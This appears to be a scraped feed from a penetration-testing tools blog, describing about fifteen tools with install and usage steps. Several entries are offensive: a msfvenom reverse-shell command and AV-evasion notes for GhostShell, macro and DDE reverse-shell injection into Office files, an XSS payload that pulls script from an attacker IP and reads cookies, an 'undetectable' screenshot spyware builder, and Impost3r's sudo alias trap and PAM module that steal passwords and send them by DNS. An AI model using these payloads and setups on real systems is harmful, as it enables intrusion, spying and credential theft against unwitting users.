Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5816 articles
Browse latest View live

Forerunner - Fast And Extensible Network Scanning Library Featuring Multithreading, Ping Probing, And Scan Fetchers

$
0
0

The Forerunner library is a fast, lightweight, and extensible networking library created to aid in the development of robust network centric applications such as: IP Scanners, Port Knockers, Clients, Servers, etc. In it's current state, the Forerunner library is able to both synchronously and asynchronously scan and port knock IP addresses in order to obtain information about the device located at that endpoint such as: whether the IP is online, the physical MAC address, and etc. The library is a completely object oriented and event based library meaning that scan data is contained within specially crafted "scan" objects which are designed to handle all data from results to exceptions.

Requirements
  • .NET Framework 4.6.1

Features
MethodDescriptionUsage
ScanScan a single IP for informationScan("192.168.1.1");
ScanRangeScan a range of IPs for informationScanRange("192.168.1.1", "192.168.1.255")
ScanListScan a list of IPs for informationScanList("192.168.1.1, 192.168.1.2, 192.168.1.3")
PortKnockPing every port of a single IPPortKnock("192.168.1.1");
PortKnockRangePing every port in a range of IPsPortKnockRange("192.168.1.1", "192.168.1.255");
PortKnockListPing every port using a list of IPsPortKnockList("192.198.1.1, 192.168.1.2, 192.168.1.3");
IsHostAlivePing a host N times for X millisecondsIsHostAlive("192.168.1.1", 5, 1000);
GetAveragePingResponseGet average ping response for a hostGetAveragePingResponse("192.168.1.1", 5, 1000);
IsPortOpenPing individual ports via TCP & UDPIsPortOpen("192.168.1.1", 45000, new TimeSpan(1000), false);

Examples

IP Scanning
Scanning a network is a commonplace task in this digital age and so I have taken the liberty to make this as simple as possible for any future programmer whom may wish to do such a thing in an easy way. The Forerunner library is completely object oriented, thus making it ideal for plug and play situations; the object for IP scanning is called an IPScanObject and it actually contains quite a few properties:
  • Address (String)
  • IP (IPAddress)
  • Ping (Long)
  • Hostname (String)
  • MAC (String)
  • isOnline (Bool)
  • Errors (Exception)
With the object in mind, let's try and create a new object and perform a scan using it. There are multiple ways to go about this, however, the simplest way to get started is to first create a new Scanner object so we can access our scanning methods. Next, create an IPScanObject and then set it to the Scan method with the IP you would like to enumerate; for example:

Synchronous
using System;
using Forerunner; // Remember to import our library.

namespace Example
{
class Program
{
static void Main(string[] args)
{
// Our IP we would like to scan.
string ip = "192.168.1.1";

// Create a new scanner object.
Scanner s = new Scanner();

// Create a new scan object and perform a scan.
IPScanObject result = s.Scan(ip);

// Output that we have finished the scan.
if (result.Errors != null)
Console.WriteLine("[x] An error occurred during the scan.");
else
Console.WriteLine("[+] " + ip + " has been successfully scanned!")

// Allow the user to exit at any time.
Console.Read();
}
}
}
Another way, which is my preferred method of operation, is to create a Scanner object and subscribe to the Event Handlers of things like ScanAsyncProgressChanged or ScanAsyncComplete, that way I have full control over my async methods; I can control how they're progress states affect my application and so on; for example:

Asynchronous
using System;
using System.Threading.Tasks;
using Forerunner; // Remember to import our library.

namespace Example
{
class Program
{
static void Main(string[] args)
{
// Our IP we would like to scan.
string ip = "192.168.1.1";

// Setup our scanner object.
Scanner s = new Scanner();
s.ScanAsyncProgressChanged += new ScanAsyncProgressChangedHandler(ScanAsyncProgressChanged);
s.ScanAsyncComplete += new ScanAsyncCompleteHandler(ScanAsyncComplete);

// Start a new scan task with our ip.
TaskFactory task = new TaskFactory();
task.StartNew(() => s.ScanAsync(ip));

// Allow the user to exit at any time.
Console.Read();
}

static void ScanAsyncProgressChanged(object sender, ScanAsyncProgressChangedEve ntArgs e)
{
// Do something here with e.Progress, or you could leave this event
// unsubscribed so you wouldn't have to do anything.
}

static void ScanAsyncComplete(object sender, ScanAsyncCompleteEventArgs e)
{
// Do something with the IPScanObject aka e.Result.
if (e.Result.Errors != null)
Console.WriteLine("[x] An error occurred during the scan.");
else
Console.WriteLine("[+] " + e.Result.IP + " has been successfully scanned!")
}
}
}

Port Knocking
I know what you're thinking. Port knocking? Yes, and no. The term doesn't mean port knocking in the traditional sense of connecting through a predefined set of ports, but rather just checking if any ports are actually open. It's literally "knocking" on a port in every sense of the word by trying to connect to each port and sending data. Just like with IP scanning, port knocking uses a custom object which is called a "Port Knock Scan Object" or PKScanObject for short. The PKScanObject actually contains a list of PKServiceObjects which in turn hold our port data; the service object contains the following properties:
  • IP (String)
  • Port (Int)
  • Protocol (PortType)
  • Status (Bool)
Port knocking is in similar fashion with IP scanning. First, create a Scanner object. Next, create a new PKScanObject and set it to the PortKnock method with the IP of your choosing, then display your results; for example:

Synchronous
using System;
using Forerunner; // Remember to import our library.

namespace Example
{
class Program
{
static void Main(string[] args)
{
// Our IP we would like to scan.
string ip = "192.168.1.1";

// Create a new scanner object.
Scanner s = new Scanner();

// Create a new scan object and perform a scan.
PKScanObject result = s.PortKnock(ip);

// Output that we have finished the scan.
if (result.Errors != null)
Console.WriteLine("[x] An error occurred during the scan.");
else
Console.WriteLine("[+] " + ip + " has been successfully scanned!")

// Display our results.
foreach (PKServiceObject port in result.Services)
{
Console.WriteLine("[+] IP: " + port .IP + " | " +
"Port: " + port.Port.ToString() + " | " +
"Protocol: " + port.Protocol.ToString() + " | " +
"Status: " + port.Status.ToString());
}

// Allow the user to exit at any time.
Console.Read();
}
}
}
Lastly, I will show you a simple example of port knocking asynchronously. It is essentially the same as port knocking synchronously except for the fact that you can use events to your advantage. You can get progress updates without having to worry about UIs crashing or systems being in a locked state; for example:

Asynchronous
using System;
using System.Threading.Tasks;
using Forerunner; // Remember to import our library.

namespace Example
{
class Program
{
static void Main(string[] args)
{
// Our IP we would like to scan.
string ip = "192.168.1.1";

// Setup our scanner object.
Scanner s = new Scanner();
s.PortKnockAsyncProgressChanged += new PortKnockAsyncProgressChangedHandler(PortKnockAsyncProgressChanged);
s.PortKnockAsyncComplete += new PortKnockAsyncCompleteHandler(PortKnockAsyncComplete);

// Start a new scan task with our ip.
TaskFactory task = new TaskFactory();
task.StartNew(() => s.PortKnockAsync(ip));

// Allow the user to exit at any time.
Console.Read();
}

static void PortKnockAsyncProgressChanged(ob ject sender, PortKnockAsyncProgressChangedEventArgs e)
{
// Display our progress so we know the ETA.
if (e.Progress == 99)
{
Console.Write(e.Progress.ToString() + "%...");
Console.WriteLine("100%!");
}
else
Console.Write(e.Progress.ToString() + "%...");
}

static void PortKnockAsyncComplete(object sender, PortKnockAsyncCompleteEventArgs e)
{
// Tell the user that the port knock was complete.
Console.WriteLine("[+] Port Knock Complete!");

// Check if we resolved an error.
if (e.Result == null)
Console.WriteLine("[X] The port knock did not return any data!");
else
{
// Check if we have any ports recorded.
if (e.Result.Services.Count == 0)
Console.WriteLine("[!] No ports were open during the knock.");
else
{
// Display our ports and their details.
foreach (PKServiceObject port in e.Result.Services)
{
Console.WriteLine("[+] IP: " + port.IP + " | " +
"Port: " + port.Port.ToString() + " | " +
"Protocol: " + port.Protocol.ToString() + " | " +
"Status: " + port.Status.ToString());
}
}
}
}
}
}

Credits
Icon:monkik
https://www.flaticon.com/authors/monkik



GhostShell - Malware Indetectable, With AV Bypass Techniques, Anti-Disassembly, And More

$
0
0

In this malware, are used some techniques to try bypass the AVs, VMs, and Sandboxes, with only porpuse to learning more. I'm not responsible for your actions.

Bypass Techniques

Anti-Debugger
To try bypass the Debuggers, I'm using the "IsDebuggerPresent()" of "Windows.h" librarie to checks if a debugger is running.

Anti-VM / Anti-Sandbox / Anti-AV
  • Enumerate Process Function
    Enumerates all process running on the system, and compares to the process in the black-list, if found a process and this is equal to any process in the black-list returns -1 (identified).
  • Sleep Acceleration Check Function
    First, gets the current time, and sleeps 2 minutes, then, gets the time again, and compare, if the difference is less than 2, returns -1 (identified).
  • Mac Address Check Function
    Gets the system mac address and compare to the macs, in the black-list, if the system mac address is equal to any mac in the black-list returns -1 (identified).

Generating the Shellcode



To generate the shellcode type in the terminal: msfvenom -p windows/meterpreter/reverse_shell lhost=(IP) lport=(PORT) -f c, copy the shellcode generated and encrypt it.
To encrypt shellcode use the encrypt_shellcode script.
On linux type: ./encrypt_shellcode e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(shellcode)""
On windows type: encrypt_shellcode.exe e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(YOUR_SHELLCODE)""

How to compile for Windows on Linux
To compile for Windows on Linux, first, install mingw-w64: sudo apt-get install mingw-w64, then, to compile for 32 bits: i686-w64-mingw32-gcc -o main.exe main.c -l psapi -static, and to 64 bits: x86_64-w64-mingw32 -o main.exe main.c -l psapi -static

Credits
Credits for https://github.com/rastating, the encrypt_shellcode is based on a post of your github.io: https://rastating.github.io/creating-a-shellcode-crypter/

Atention!!!
To check if the antivirus is detecting the malware, NEVER send it to the virustotal, IT WILL BE SENT TO THE ANTIVIRUS COMPANIES AND WILL BE BROKEN, to analyze, send it to https://www.hybrid-analysis.com/ and remember to check the option "Do not send my sample to non-affiliated third parties", as in the example below.


Inshackle - Instagram Hacks: Track Unfollowers, Increase Your Followers, Download Stories, Etc

$
0
0

Instagram hacks: Track unfollowers, Increase your followers, Download Stories, etc

Features:

  • Unfollow Tracker
  • Increase Followers
  • Download: Stories, Saved Content, Following/followers list, Profile Info
  • Unfollow all your following 

Usage:
git clone https://github.com/thelinuxchoice/inshackle
cd inshackle
bash inshackle.sh

Author: github.com/thelinuxchoice/inshackle
IG: instagram.com/linux_choice


Ligolo - Reverse Tunneling Made Easy For Pentesters, By Pentesters

$
0
0

Ligolo is a simple and lightweight tool for establishing SOCKS5 or TCP tunnels from a reverse connection in complete safety (TLS certificate with elliptical curve).
It is comparable to Meterpreter with Autoroute + Socks4a, but more stable and faster.

Use case
You compromised a Windows / Linux / Mac server during your external audit. This server is located inside a LAN network and you want to establish connections to other machines on this network.
Ligolo can setup a tunnel to access internal server's resources.

Quick Demo
Relay of a RDP connection using Proxychains (WAN).


Performance
Here is a screenshot of a speedtest between two 100mb/s hosts (ligolo / localrelay). Performance may vary depending on the system and network configuration.


Usage

Setup / Compiling
Make sure Go is installed and working.
  1. Get Ligolo and dependencies
cd `go env GOPATH`/src
git clone https://github.com/sysdream/ligolo
cd ligolo
make dep
  1. Generate self-signed TLS certificates (will be placed in the certs folder)
make certs TLS_HOST=example.com
NOTE: You can also use your own certificates by using the TLS_CERT make option when calling build. Example: make build-all TLS_CERT=certs/mycert.pem.
  1. Build
  • 3.1. For all architectures
make build-all
  • 3.2. (or) For the current architecture
make build

How to use?
Ligolo consists of two modules:
  • localrelay
  • ligolo
Localrelay is intended to be launched on the control server (the attacker server).
Ligolo is the program to run on the target computer.
For localrelay, you can leave the default options. It will listen on every interface on port 5555 and wait for connections from ligolo (-relayserver parameter).
For ligolo, you must specify the IP address of the relay server (or your attack server) using the -relayserver ip:port parameter.
You can use the -h option for help.
Once the connection has been established between Ligolo and LocalRelay, a SOCKS5 proxy will be set up on TCP port 1080 on the relay server (you can change the TCP address/port using the -localserver option).
After that, all you have to do is use your favorite tool (Proxychains for example), and explore the client's LAN network.

TL;DR
On your attack server.
./bin/localrelay_linux_amd64
On the compromise host.
> ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
Once the connection is established, set the following parameters on the ProxyChains config file (On the attack server):
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
Profit.
$ proxychains nmap -sT 10.0.0.0/24 -p 80 -Pn -A
$ proxychains rdesktop 10.0.0.123

Options
Localrelay options:
Usage of localrelay:
-certfile string
The TLS server certificate (default "certs/server.crt")
-keyfile string
The TLS server key (default "certs/server.key")
-localserver string
The local server address (your proxychains parameter) (default "127.0.0.1:1080")
-relayserver string
The relay server listening address (the connect-back address) (default "0.0.0.0:5555")
Ligolo options:
Usage of ligolo:
-autorestart
Attempt to reconnect in case of an exception
-relayserver string
The relay server (the connect-back address) (default "127.0.0.1:5555")
-skipverify
Skip TLS certificate pinning verification
-targetserver string
The destination server (a RDP client, SSH server, etc.) - when not specified, Ligolo starts a socks5 proxy server

Features
  • TLS 1.3 tunnel with TLS pinning
  • Multiplatforms (Windows / Linux / Mac / ...)
  • Multiplexing (1 TCP connection for all flows)
  • SOCKS5 proxy or simple relay

To Do
  • Better timeout handling
  • SOCKS5 UDP support
  • Implement mTLS

Credits
  • Nicolas Chatelain <n.chatelain -at- sysdream.com>


Eviloffice - Inject Macro And DDE Code Into Excel And Word Documents (Reverse Shell)

$
0
0

Win python script to inject Macro and DDE code into Excel and Word documents (reverse shell)

Features:
  • Inject malicious Macro on formats: docm, dotm, xlsm, xltm
  • Inject malicious DDE code on formats: doc, docx, dot, xls, xlsx, xlt, xltx
  • Python2/Python3 Compatible

Tested: Win10 (MS Office 14.0)

Requirements:
  • Microsoft Office (Word/Excel)
  • pywin32: python -m pip install -r requirements.txt

Forwarding requirements:

Legal disclaimer:
Usage of EvilOffice for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

Usage:
git clone https://github.com/thelinuxchoice/eviloffice
cd eviloffice
python -m pip install -r requirements.txt
python eviloffice.py

Author: github.com/thelinuxchoice/eviloffice
Twitter: twitter.com/linux_choice


GitMonitor - A Github Scanning System To Look For Leaked Sensitive Information Based On Rules

$
0
0

GitMonitor is a Github scanning system to look for leaked sensitive information based on rules. I know that there are a lot of very good other tools for finding sensitive information leaked on Github right now, I myself currently still use some of them. However, I think they still lack some features like:
  • A scanning tool based on the rules.
  • The rules mechanism allows me to write rules in the most flexible way possible. The rules allow me to filter information by brand name, file format and by language. As well as allowing me to skip specific file formats and languages (Searching rules). Then clone the repositories that have matched the rules to local before start looking for the sensitive information that exists there based on regular expressions (Sensitive filtering rules). You can do that by defining keywords related to your company brand name, keywords related to your company's projects, email prefixes, or anything else in the rules.
  • The tool can launch on schedule and has a flexible reporting mechanism.
That is why I created this tool - GitMonitor. GitMonitor uses two different sets of rules to find what you need. The Searching rules will search for repositories that may be related to your organization or internal projects, or anything else, clone repositories that matched to local. Then, Sensitive filtering rules to check if those repositories exist sensitive information. Finally the tool will report via Slack. You can use this tool with Cronjob to create a monitoring system to track sensitive information related to your organization that leaked on Github and receive results via Slack.

Features
  • Search the repository based on rules (Searching rules). You can write rules to search for repositories that may be related to your company. The repositories matching the rules will be cloned to local.
  • Use Regex (Sensitive filtering rules) to search for sensitive information that exists in cloned repository, for classification purposes.
  • Report via Slack.
  • Rules and regex are defined separately
  • Users can define rules and regex easily and intuitively.


Requirements
  • Python3, Python3-pip
Tested on Ubuntu 18.04.

Setup
  • Install requirements:
Python3 -m pip install -r requirements.txt
Please make sure you have Pyyaml version 5x or higher installed
  • Fill in the required information in the configuration file (config.ini):
[git]
user = <username_git>
pass = <password_git>
url_code = https://api.github.com/search/code?q={}+in:file&sort=indexed&order=desc
url_repos = https://api.github.com/search/repositories?q={}+size:>0+is:public&sort=indexed&order=desc
url_commit = https://api.github.com/search/commits?q={}+is:public&sort=indexed&order=desc
rpp = 50

[slack]
webhooks = <full_link_webhooks>


[path]
rule = <path to rule folder>
source = <path to folder to clone repository>
log = <filename of log>

[msg]
start = ====================**********====================

*Start scanning at {}*
_Clone completed successfully:_
end = ====================**********====================

*Scanning Done at {} *
_Detected possible repository:_
all = ====================**********====================
  • Write the rules (Searching rules). Put your rules in the rules directory:
 id: Project_X_Matching
key: X
language:
- java
#filename:
# - LICENSE
#extension:
# - py
# - md
ignore:
# language:
# - php
filename:
- LICENSE
extension:
- html
- txt
  • Define the regular expressions in libs/regex.py file (Sensitive filtering rules).
  • Run:
Python3 gitmonitor.py
  • You can schedule automatic running for the tool by using Cronjob.

My Team

Special Thanks
  • GitMAD for regex-based sensitive information search mechanism


Jshole - A JavaScript Components Vulnrability Scanner, Based On RetireJS

$
0
0

A JavaScript components vulnrability scanner, based on RetireJS.

Why use JShole instead of RetireJS?
By default, RetireJS only searches one page, but JShole tries to crawl all pages.

How it works?

Get Started

Requirements
  • requests

Install
  • git clone https://github.com/callforpapers-source/jshole.git
  • cd jshole
  • pip3 install -r requirements
  • python3 jshole.py
usage: jshole [-h] -u URL [-d] [-l LIMIT] [-t THREAT]
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL url string
-d, --debug Web Scrap debugger(default=false)
-l LIMIT, --limit LIMIT
Search Depth limit(default=1)
-t THREAT, --threat THREAT
The number of links that open per round


Recox - Master Script For Web Reconnaissance

$
0
0

The script aims to help in classifying vulnerabilities in web applications. The methodology RecoX is arising can spot weaknesses other than OWASP top ten. The script presents information against the target system. It gathers the information recursively over each subdomain, and IP addr for a sophisticated attack. RecoX automates several functions and saves a significant amount of time that requires throughout a manual penetration test.
For more detail please read this document.

Usage
git clone https://github.com/samhaxr/recox
chmod +x recox.sh
./recox.sh
Paste the below command to run the tool from anywhere in the terminal.
mv recox.sh /usr/lcoal/bin/recox
The deep scanner comprises many check-ups including subdomain takeover, A record, passive scan, active scan, CORS misconfiguration, zone transfer test, and web content discovery.


Tutorial


Credit
Ruhr University Bochum - Chair for Network and Data Security , David García, Jobert Abma, antichown



Git-Scanner - A Tool For Bug Hunting Or Pentesting For Targeting Websites That Have Open .git Repositories Available In Public

$
0
0

This tool can scan websites with open .git repositories for Bug Hunting/ Pentesting Purposes and can dump the content of the .git repositories from webservers that found from the scanning method. This tool works with the provided Single target or Mass Target from a file list.



Installation
- git clone https://github.com/HightechSec/git-scanner
- cd git-scanner
- bash gitscanner.sh
or you can install in your system like this
- git clone https://github.com/HightechSec/git-scanner
- cd git-scanner
- sudo cp gitscanner.sh /usr/bin/gitscanner && sudo chmod +x /usr/bin/gitscanner
- $ gitscanner

Usage
  • Menu's
    • Menu 1 is for scanning and dumping git repositories from a provided file that contains the list of the target url or a provided single target url.
    • Menu 2 is for scanning only a git repositories from a provided file that contains the list of the target url or a provided single target url.
    • Menu 3 is for Dumping only the git repositories from a provided file that contains list of the target url or a provided single target url. This will work for the Maybe Vuln Results or sometimes with a repository that had directory listing disabled or maybe had a 403 Error Response.
    • Menu 4 is for Extracting files only from a Folder that had .git Repositories to a destination folder
  • URL Format
  • Extractor
    • When using Extractor, make sure the location of the git repositories that you select are correct. Remember, The first option is for inputing the Selected git repository and the second option is for inputing the Destination folder

Requirements
  • curl
  • bash
  • git
  • sed

Todos
  • Creating a Docker Images if it's possible
  • Adding Extractor on the next Version Added in version 1.0.2#beta but still experimental.
  • Adding Thread Processing Multi Processing (Bash doesn't Support Threading)

Changelog
All notable changes to this project listed in this file

Credits
Thanks to:


Astsu - A Network Scanner Tool

$
0
0

How it works
  • Scan common ports
Send a TCP Syn packet to the destination on the defined port, if the port is open, use an nmap scan to check the service running on the port and prints all the ports found.
  • Discover hosts in network
Uses as a base the router's ip to map all possible ips. It then sends an ICMP packet to each IP, and waits for a response, if it receives any response saved in an array the IP of the online host, and when it finishes checking all hosts, prints all hosts online.
  • OS Scan
Sends an ICMP packet to the destination and waits for a response. Then, extracts the TTL from the destination response and checks the possible OS in a list, if have founded, prints it.

How to install
Clone this repository git clone https://github.com/ReddyyZ/astsu.git
  • Install python 3.
    • Linux
      • apt-get install python3
      • chmod +x *
      • python3 -m pip install -r requirements.txt
      • python3 install.py
      • Done!
    • Windows

Arguments
  • -sC | Scan common ports
    • -p | Protocol to use in the scan
    • -i | Interface to use
    • -t | Timeout to each request
    • -st | Use stealth scan method (TCP)
  • -sA | Scan all ports
    • -p | Protocol to use in the scan
    • -i | Interface to use
    • -t | Timeout to each request
    • -st | Use stealth scan method (TCP)
  • -sP | Scan a range ports
    • -p | Protocol to use in the scan
    • -i | Interface to use
    • -t | Timeout to each request
    • -st | Use stealth scan method (TCP)
  • -sO | Scan OS of a target
  • -d | Discover hosts in the network
    • -p | Protocol to use in the scan
    • -i | Interface to use

OS Support
  • Windows
  • Linux
  • Mac


JSshell - A JavaScript Reverse Shell For Exploiting XSS Remotely Or Finding Blind XSS, Working With Both Unix And Windows OS

$
0
0

JSshell - a JavaScript reverse shell. This using for exploit XSS remotely, help to find blind XSS, ...
This tool works for both Unix and Windows operating system and it can running with both Python 2 and Python 3. This is a big update of JShell - a tool to get a JavaScript shell with XSS by s0med3v. JSshell also doesn't require Netcat (different from other javascript shells).

Usage

Generate JS reverse shell payload: -g

Set the local port number for listening and generating payload (By default, it will be set to 4848): -p

Set the local source address for generating payload (JSshell will detect your IP address by deault): -s

Set timeout for shell connection (if the user exit page, the shell will be pause, and if your set the timeout, after a while without response, the shell will automatically close): -w

Execute a command when got the shell: -c

Example usages:
  • js.py
  • js.py -g
  • js.py -p 1234
  • js.py -s 48.586.1.23 -g
  • js.py -c "alert(document.cookie)" -w 10

An example for running JSshell:
This is an example for step-by-step to exploit remote XSS using JSshell.
First we will generate a reverse JS shell payload and set the shell timeout is 20 seconds:
~# whoami
root
~# ls
README.md js.py
~# python3 js.py -g -w 20
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v1.0

Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>

Listening on [any] 4848 for incoming JS shell ...
Now paste this payload to the website (or URL) that vulnerable to XSS:
https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)>
Access the page and now we will see that we have got the reverse JS shell:
    __
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v1.0

Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>

Listening on [any] 4848 for incoming JS shell ...
Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848
$ established
$ the
$ shell
$
$
$ help
JSshell using javascript code as shell commands. Also supports some commands:
help This help
exit, quit Exit the JS shell
$
Now let's execute some commands:
$ var test = 'hacked'
$ alert(hacked)
$
And the browser got an alert: hacked
$ prompt(document.cookie)
$
And the browser print the user cookies: JSESSION=3bda8...
$ exit
~# whoami
root
~# pwd
/home/shelld3v
~#
And we quited!

Author
This created by shelld3v, hacking at HackOne and Bugcrowd with a secret account! This tool is inspired by JShell (s0med3v), using the BruteLogic payload. JSshell 2.0 will has some new features that include:
  • More payloads for <img>, <script>, ...
  • Some shortcut commands: print the current session, domain, endpoint, ...
  • Better GUI
    ...


Words Scraper - Selenium Based Web Scraper To Generate Passwords List

$
0
0

Selenium based web scraper to generate passwords list.

Installation
# Download Firefox webdriver from https://github.com/mozilla/geckodriver/releases
$ tar xzf geckodriver-v{VERSION-HERE}.tar.gz
$ sudo mv geckodriver /usr/local/bin # Make sure it is in your PATH
$ geckodriver --version # Make sure webdriver is properly installed
$ git clone https://github.com/dariusztytko/words-scraper
$ sudo pip3 install -r words-scraper/requirements.txt

Use cases

Scraping words from the target's pages
$ python3 words-scraper.py -o words.txt https://www.example.com https://blog.example.com
Such generated words list can be used to perform online brute-force attack or for cracking password hashes:
$ hashcat -m 0 hashes.txt words.txt
Use --depth option to scrape words from the linked pages as well. Optional --show-gui switch may be used to track the progress and make a quick view of the page:
$ python3 words-scraper.py -o words.txt --depth 1 --show-gui https://www.example.com
Generated words list can be expanded by using words-converter.py script. This script removes special chars and accents. An example Polish word źdźbło! will be transformed into the following words:
  • źdźbło!
  • zdzblo!
  • źdźbło
  • zdzblo
$ cat words.txt | python3 words-converter.py | sort -u > words2.txt

Scraping words from the target's Twitter
Twitter page is dynamically loaded while scrolling. Use --max-scrolls option to scrape words:
$ python3 words-scraper.py -o words.txt --max-scrolls 300 --show-gui https://twitter.com/example.com

Scraping via Socks proxy
$ ssh -D 1080 -Nf {USER-HERE}@{IP-HERE} >/dev/null 2>&
$ python3 words-scraper.py -o words.txt --socks-proxy 127.0.0.1:1080 https://www.example.com

Usage
usage: words-scraper.py [-h] [--depth DEPTH] [--max-scrolls MAX_SCROLLS]
[--min-word-length MIN_WORD_LENGTH]
[--page-load-delay PAGE_LOAD_DELAY]
[--page-scroll-delay PAGE_SCROLL_DELAY] [--show-gui]
[--socks-proxy SOCKS_PROXY] -o OUTPUT_FILE
url [url ...]

Words scraper (version: 1.0)

positional arguments:
url URL to scrape

optional arguments:
-h, --help show this help message and exit
--depth DEPTH scraping depth, default: 0
--max-scrolls MAX_SCROLLS
maximum number of the page scrolls, default: 0
--min-word-length MIN_WORD_LENGTH
default: 3
--page-load-delay PAGE_LOAD_DELAY
page loading delay, default: 3.0
--page-scroll-delay PAGE_SCROLL_DELAY
page scrolling delay, default: 1.0
--show-gui show browser GUI
--socks-proxy SOCKS_PROXY
socks proxy e.g. 127.0.0.1:1080
-o OUTPUT_FILE, --output-file OUTPUT_FILE
save words to file

Known bugs
  • Native browser dialog boxes (e.g. file download) freeze scraper

Changes
Please see the CHANGELOG


Spyeye - Script To Generate Win32 .Exe File To Take Screenshots

$
0
0

Script to generate Win32 .exe file to take screenshots every ~10 seconds.

Features:
  • Works on WAN: Port Forwarding by Serveo.net
  • Fully Undetectable (FUD) -> Don't Upload to virustotal.com!

Legal disclaimer:
Usage of SpyEye for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

Usage:
git clone https://github.com/thelinuxchoice/spyeye
cd spyeye
bash install.sh
chmod +x spyeye
./spyeye

Author: github.com/thelinuxchoice
IG: instagram.com/linux_choice


Tangalanga - The Zoom Conference Scanner Hacking Tool

$
0
0

Zoom Conference scanner.
This scanner will check for a random meeting id and return information if available.

Usage
This are all the possible flags:
tangalanga \
-token=user-token \ # [default: env TOKEN] user token to use.

-colors=false \ # [default: true] enable/disable colors
-censor=true \ # [default: false] censors output
-output=history \ # [default: stdout] write found meetings to file
-debug=true \ # [default: false] show all the attmpts
-tor=true \ # [default: false] enable tor connection (will use default socks proxy)
-hidden=true \ # [default: false] enable embedded tor connection (only linux)
-rate=7 \ # [default: ncpu] overwrite the default worker pool

-proxy=socks5://... \ # [default: socks5://127.0.0.1:9150] proxy url to use

Tokens
Unfortunately I couldn't find the way the tokens are being generated but the core concept is that the zpkcookie key is being sent during a Join will be usable for ~24 hours before expiring. This makes trivial to join several known meetings, gether some tokens and then use them for the scans.

TOR (only linux)
Tangalanga has a tor runtime embedded so it can connect to the onion network and run the queries there instead of exposing your own ip.


For any other system I recommend a VPN

Why the bizarre name?
This makes reference to a famous 80s/90s personality in the Rio de la Plata. Doctor Tangalanga who loved to do phone pranks.


Impost3r - A Linux Password Thief

$
0
0

Impost3r is a tool that aim to steal many kinds of linux passwords(including ssh,su,sudo) written by C.
Attackers can use Impost3r to make a trap to steal the legal user's passwords XD
This tool is limited to security research and teaching, and the user bears all legal and related responsibilities caused by the use of this tool! The author does not assume any legal and related responsibilities!

Features

  • Automatically clean the track
  • Use DNS to transfer the result
  • Really hard for legal users can feel this attack

Dependencies

  • gcc

Usage

Impost3r can be used to steal passwords including sudo, su, and ssh services. These three services can be roughly divided into two categories, sudo and ssh/su. I will discuss them below

Steal sudo password

Only need ordinary user's privilege,and can only steal current user's password.
  • First i will assume that attacker has controled a server and the privilege is ordinary user
  • Then copy the original .bashrc file cp ~/.bashrc /tmp/,and put this copy anywhere you like(In this case,i will use /tmp/)
  • Edit the original .bashrc,and add following sentences at the end of file(The param "/tmp/.impost3r" must be as the same as the following FILENAME you specified):
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
  • Then,save it and run source ~/.bashrc
  • After that,attacker needs to edit the source code of Impost3r/sudo/main.c:
/*
Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\Set the location where the Impost3r is on the server you attack.
# define BACKUP_BASHRC "/tmp/.bashrc" \\Set the location where the backup .bashrc is on the server you attack.
# define SAVE_OR_SEND 0 \\Set the method you want to apply when Impost3r get the password,(send to your server=0,save the result on the current server=1,default is send)
/*
Send to server
*/
# define MAX_RESEND 30 \\Set the maximum times that Impost3r will try to resends stealing result to attacker's server
# define RESEND_INTERVAL 5 \\Set the interval of resending stealing result.
# define REMOTE_ADDRESS "192.168.0.12" \\Set the malicious server ip address that you want to receive stealing result
# define REMOTE_PORT 53 \\Set the malicious server port

/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\Set the result file location if you want to save the result on the server
  • Save the source code,and run make
  • Get the .impost3r file after compiling.
  • Upload .impost3r file to the target server and put it under the FILENAME you specified.
  • The last thing you should do is run a dns server service on your server(REMOTE_ADDRESS)'s port(REMOTE_PORT),and waiting for the bonus.

Demo


Tips

  • When Impost3r steal the sudo password successfully,it will automatically clean the traces it make on the target server.

Steal ssh/su password

Stealing the ssh/su password is different from the sudo password stealing method above. You need root privilege.And this method can steal all user's password
The following uses Ubuntu as an example, Centos is similar,but the file locations mentioned may be slightly different
  • First, assume that the attacker controls a server,and gets the root privilege
  • Then edit the /ssh_su/main.c source code file of Impost3r
/*
Custom setting
*/
# define SSH_OR_BOTH 0 \\Set stealing mode, 0 means only steal ssh password, 1 means steal ssh and su password, the default is 0 (the difference will be mentioned later)
# define SAVE_OR_SEND 0 \\Set the method you want to apply when Impost3r get the password,(send to your server=0,save the result on the current server=1,default is send)

/*
Send to server
*/
# define MAX_RESEND 30 \\Set the maximum times that Impost3r will try to resends stealing result to attacker's server(This option is valid only when SSH_OR_BOTH is 0)
# define RESEND_INTERVAL 5 \\Set the interval of resending stealing result.(This option is valid only when SSH_OR_BOTH is 0)
# define REMOTE_ADDRESS "192.168.0.12" \\Set the malicious server ip address that you want to receive stealing result
# define REMOTE_PORT 53 \\Set the malicious server port

/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\Set the result file location if you want to save the result on the server
  • After the modification is completed, save and execute ```make''` in the current directory
  • Get the compiled file impost3r.so
  • Upload the compiled impost3r.so to the target server under /lib/x86_64-linux-gnu/security folder.(Different machines may have different folder names)
